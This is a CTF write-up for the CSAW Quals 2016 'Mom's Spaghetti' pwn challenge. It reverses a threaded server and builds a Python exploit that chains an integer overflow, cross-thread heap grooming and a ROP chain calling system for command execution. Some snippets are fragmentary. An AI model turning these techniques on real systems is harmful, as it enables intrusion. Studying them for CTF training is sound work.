CSAW Quals 2016 Pwn 500 - Mom's Spaghetti

Let’s take a look at the moms spaghetti from CSAW Quals 2016. This solution was a collaboration between @thebarbershopper, @jduck, and @WanderingGlitch. For those that want to play along at home, you can build your own server to throw against by the following:

# Install docker
git pull https://github.com/isislab/CSAW-CTF-2016-Quals
cd Pwn/Moms_Spaghetti
docker build -t moms .
docker run moms

I’ll be playing along with EpicTreasure which can be grabbed by the following:

# Install docker
docker pull ctfhacker/epictreasure
docker run -v /path/to/shared/folder:/root/host-share --privileged -it --workdir=/root ctfhacker/epictreasure

And now, on to the writeup!

The Challenge

We begin with doing some cursory reversing to get an idea of the binary itself.


We see a getenv and then a system call, which looks interesting at first glance, but turns out to not be anything at all. Moving along into this tcp_server_loop function.


Quickly looking at the calls we see a lot of standard socket calls. We can make an educated guess that this is setting up the server and that probably process_connection will do as it says: process incoming connections to the server. Let’s see what that body will do for us.


And here we see where things will get a little fun. We see a recv call followed by a pthread_create. In theory, this should receive information from the socket created in the parent function and then possibly hand off that data into a seperate thread. Let’s see what function will be called in the thread itself.


Looks like process_host will be the meat of the thread. Reversing this function shows us that the first bytes received are a type of header:

2 bytes - Number of connections
2 bytes - Port to connect to
4 bytes - Host to connect to

We send these 8 bytes to the server, and then a series of connections occur back to the host and port we specified. In order to test this theory, let’s create a small harness.

from pwn import *
import socket
import threading
import random

p = random.randint(20000, 50000)
num_threads = 90

def thread_listen(port=9999):
    l = socket.socket()
    l.bind(('', port))

    for i in xrange(num_threads):
        c, _ = l.accept()
        print(c, _)

def thread_send(c, size1, size2, index=0xffff):

def start_threads():
    t = threading.Thread(target=thread_listen, args=(p, ))
    t.daemon = True
    return t

curr_t = start_threads()

# Host to connect to 
r = remote('', 24242)

n_threads = p16(num_threads)

# Host for the server to connect back to
connect_host = socket.inet_aton('')

payload = n_threads
payload += p16(p) # port
payload += connect_host



This script will be the basis for continuing our exploit. The script starts one main thread by calling start_threads which has the function thread_listen. Currently, thread_listen simply binds to a random port and prints out the connection for each accepted connection. After this thread is started, we send our 8 byte payload containing our number of connections we want to receive, the port to connect back to, and the host to connect back to (ourselves). Running this script against the docker container results in the followning.

Now that we receive connections, let’s see what we can control in these connections. Looking further in process_host we see the following packet structure being decoded:

2 bytes - Header Version - Must be 1
2 bytes - Size1 
4 bytes - Length - Must be <= 0x40000000

The first two bytes are a static check against the number 1, so we can hard code that into our exploit. The next 6 bytes are interesting. It appears to be two size values, one 2 bytes and the other 4 bytes. The 4 byte length is checked to be under 0x40000000 and then the sum of both sizes is allocated via malloc. This chunk and size are passed to a recv call to fill with our data as well.

Now that we have this reversed, let’s add a bit more to our exploit to confirm.

def thread_listen(port=9999):
    l = socket.socket()
    l.bind(('', port))

    for i in xrange(num_threads):
        c, _ = l.accept()
        print(c, _)
        t = threading.Thread(target=thread_send, args=(c, 0xad, 0xde00))

def thread_send(c, size1, size2):
    version = p16(1)

    # malloc(size1 + size2 + 8)
    # size1 = p16(size1) # 16 bit size
    # size2 = p32(size2) # 32 bit size, must be <= 0x40000000

    header = version + p16(size1-8) + p32(size2)

    payload = header
    payload += 'A' * (size1 + size2))

Here, we add a bit more logic to our thread_send function so that we send the correct header filled with enough A to fill the sum of the sizes.

Also, now that we are going to be debugging the binary, let’s be sure to change our send to and connect back IPs to localhost so we can debug locally. To check that we are correct with our reversing, let’s break at the malloc and see if our size (0xde00 + 0xad) is correct.

Once we send a correct header, the binary attempts to process our request in process_host. There is a apparently some functionality when requesting three types of opcodes: E, T, H. If curious about what these do, feel free to look at the binary. Luckily for this writeup, this functionality is useless. The main part of process_host is the parse_opcode function.


tl;dr - This loop is a copy loop copying loop_counter bytes into our destination. Essentially, if we can control this value, we could potentially overflow the destination buffer. Now let’s check to see where loop_counter comes from.


Looking at the end of this block, we check that copy_length+1 is less than 256, but in a signed comparison see jle. Interesting, this could be an integer overflow. If copy_length is 0x7fffffff then +1 would make it 0x8000000 which is definitely less than 256 in a signed comparison. We’ll keep that in the back of our head for now. Looking at where copy_length comes from, we see it is set in decode_length.

Reversing decode_length, we see that a pointer at size1 into our buffer is passed as an argument as well as the pointer to copy_length. The pointer into our buffer must hold two characteristics in order to get to the juicy part of this function:

  • Upper bit is 1 aka 0x80
  • Lower nibble can only be 1, 2, 3, or 4

At this point, the bytes after our first byte is passed to an ntohl call and then shifted by 4 - lower_nibble. This result is stored in copy_length (which we want to be 0x7fffffff). A pointer to size1 + lower_nibble is returned back to us from decode_length. There is one bit of arithmetic that we skipped in parse_opcode.

After decode_length, the result is subtracted from the pointer to size1 in our buffer, effectively giving us a the lower nibble of our magic byte from above (1 through 4 for you playing at home). This value is subtracted from an argument to parse_opcode, which turns out to be size2 from our packet. The difference of this subtraction must be greater than our copy_length in order to reach the memcpy like functionality which we believe will give us an overflow. Becuase we control size2 and lower_nibble, we can force an underflow, forcing this comparison to pass.

Let’s recap the discovered properties in order to pass the checks.

  • Buffer sent by us is size1 + size2 in length
  • Buffer[size1] must be 0x84, because we want lower_nibble to be 4
  • size2 must be 3, so that the subtraction of size2 - lower_nibble = 0xffffffff
  • 0xffffffff > copy_length which comes from buffer[size1+1:] which we also control
  • copy_length+1 < 256 due to integer overflow
  • ???

Implementing this, we realize that copy_length can only ever be 3 bytes since that the only the amount of data that we can send, meaning copy length can only ever be 0x7fffff00. Remember size1 + size2 is all the data we can send. So we need one more piece of the puzzle in order to set copy_length to our desired value.

Heaps of fun

I sat on this portion for quite awhile before I realized why we could trigger so many threads. Looking back at where our sent buffer is stored in memory, we see that the buffer is actually stored on the heap. What if we happen to reuse a portion of the heap that was previously used by a different thread for our buffer, which might fill our remaining byte needed to create the 0x7fffffff? This was exactly the case.

The plan of attack to fill the remaining byte is below:

  • The first response will set size1+size2 to be a massive chunk, nearly filling up the entire heap with 0xffs.
  • Each subsequent response will allocate small chunks, hoping to reuse one of those bytes and fill in our 0x7fffffff value

The code used to create this effect is below:

def thread_listen(port=9999):
    l = socket.socket()
    l.bind(('', port))

    for i in xrange(num_threads):
        conn, _ = l.accept()
        print(conn, _)
        if i == 0:
            t = threading.Thread(target=thread_send, args=(conn, 0xffff, 0x9000))
            t = threading.Thread(target=thread_send, args=(conn, 0x20-3, 0x3, i))

def thread_send(c, size1, size2, index=0xffff):
    # malloc(size1 + size2 + 8)
    # size1 = p16(size1) # 16 bit size
    # size2 = p32(size2) # 32 bit size, must be <= 0x40000000

    version = p16(1)
    header = version + p16(size1) + p32(size2)

    if size1 == 0xffff:
        # First thread
        buff = '\xff' * (size1+size2)
        # All other threads
        buff = p8(0xff) * (size1)
        buff += p8(0x84) # Signed first bit
        buff += p8(0x7f)
        buff += p8(0xff)
        buff += p8(0xff)


A few things have changed here. We add an index argument to thread_send in order to differentiate between first and other threads. We add a second thread start in thread_listen. Lastly, we added the two thread bodies in thread_send to send the appropriate buffer depending on which thread is executing.

If everything worked out, we should be able to see a value of 0x7fffffff in parse_opcode after decode_length is called.

We have one more step to figure out at this point. We are now crashing at the end of the stack, which probably means that we are copying so much data that we blow past the page boundary. Lucky for us, the binary gives a terminating value of 0x80 to stop copying data. Let’s chunk the first thread’s data so that we don’t blow past the page.

if size1 == 0xffff:
    # First thread
    buff = []
    split_size = 0x200
    for _ in xrange((size1+size2) / split_size):
        buff += '\xff' * (split_size)
        buff += '\x80'

    buff = ''.join(buff)

And now we are in a prime position to ROP. Time for the home stretch!

Stop, ROP, and Profit

Back at the beginning of the binary, we see a system call after a getenv call. This seems like an obvious use of giving system to us to use for our ROP chain. This should make our ROP chain pretty straight forward.

  • Call recv into a writable region and send some command to run
  • Send a command from our main thread that is written to the writable region
  • Call system on the pointer to that region

The only hiccup here was not having our socket file descriptors already on stdin/stdout. We could attempt to dup those, but that would be too much work. We can simply add >&4 to the end of our command to redirect the output to fd 4, which should be our socket.

We create the ROP chain, adding a bit of ROP NOP sled (aka ret instructions) to the beginning for good measure since we don’t actually know where we will land in the heap and drop it at the end of each of our chunks in our first sent response.

recv = p32(0x8048be5)
system = p32(0x80496de)
ret = p32(0x8049702)
adjust = p32(0x80487ee)

rop = []
for _ in xrange(50):

rop.append(adjust) # Clean up the stack for the system call
rop.append(p32(4)) # Original thread fd
rop.append(p32(0x804c098)) # Global address to read into
rop.append(p32(len(command))) # len('/bin/sh ls 1>&4<0\0')
rop.append(p32(0x80808080)) # End the copy

rop = ''.join(rop)

if size1 == 0xffff:
    buff = ['\x11\x22'] # Need a slight adjustment as EIP is 2 bytes off
    # for _ in xrange((size1+size2+8)/0x200):
    for _ in xrange((size1+size2)/0x200):
        buff += '\xff' * (0x200 - len(rop))
        buff += rop

    for i in xrange(len(buff) % 4):
        buff += '\x80'

    buff = ''.join(buff)

If everything does as planned…

We do get command execution!

For relevant code for this writeup:
git clone https://github.com/ctfhacker/ctf-writeups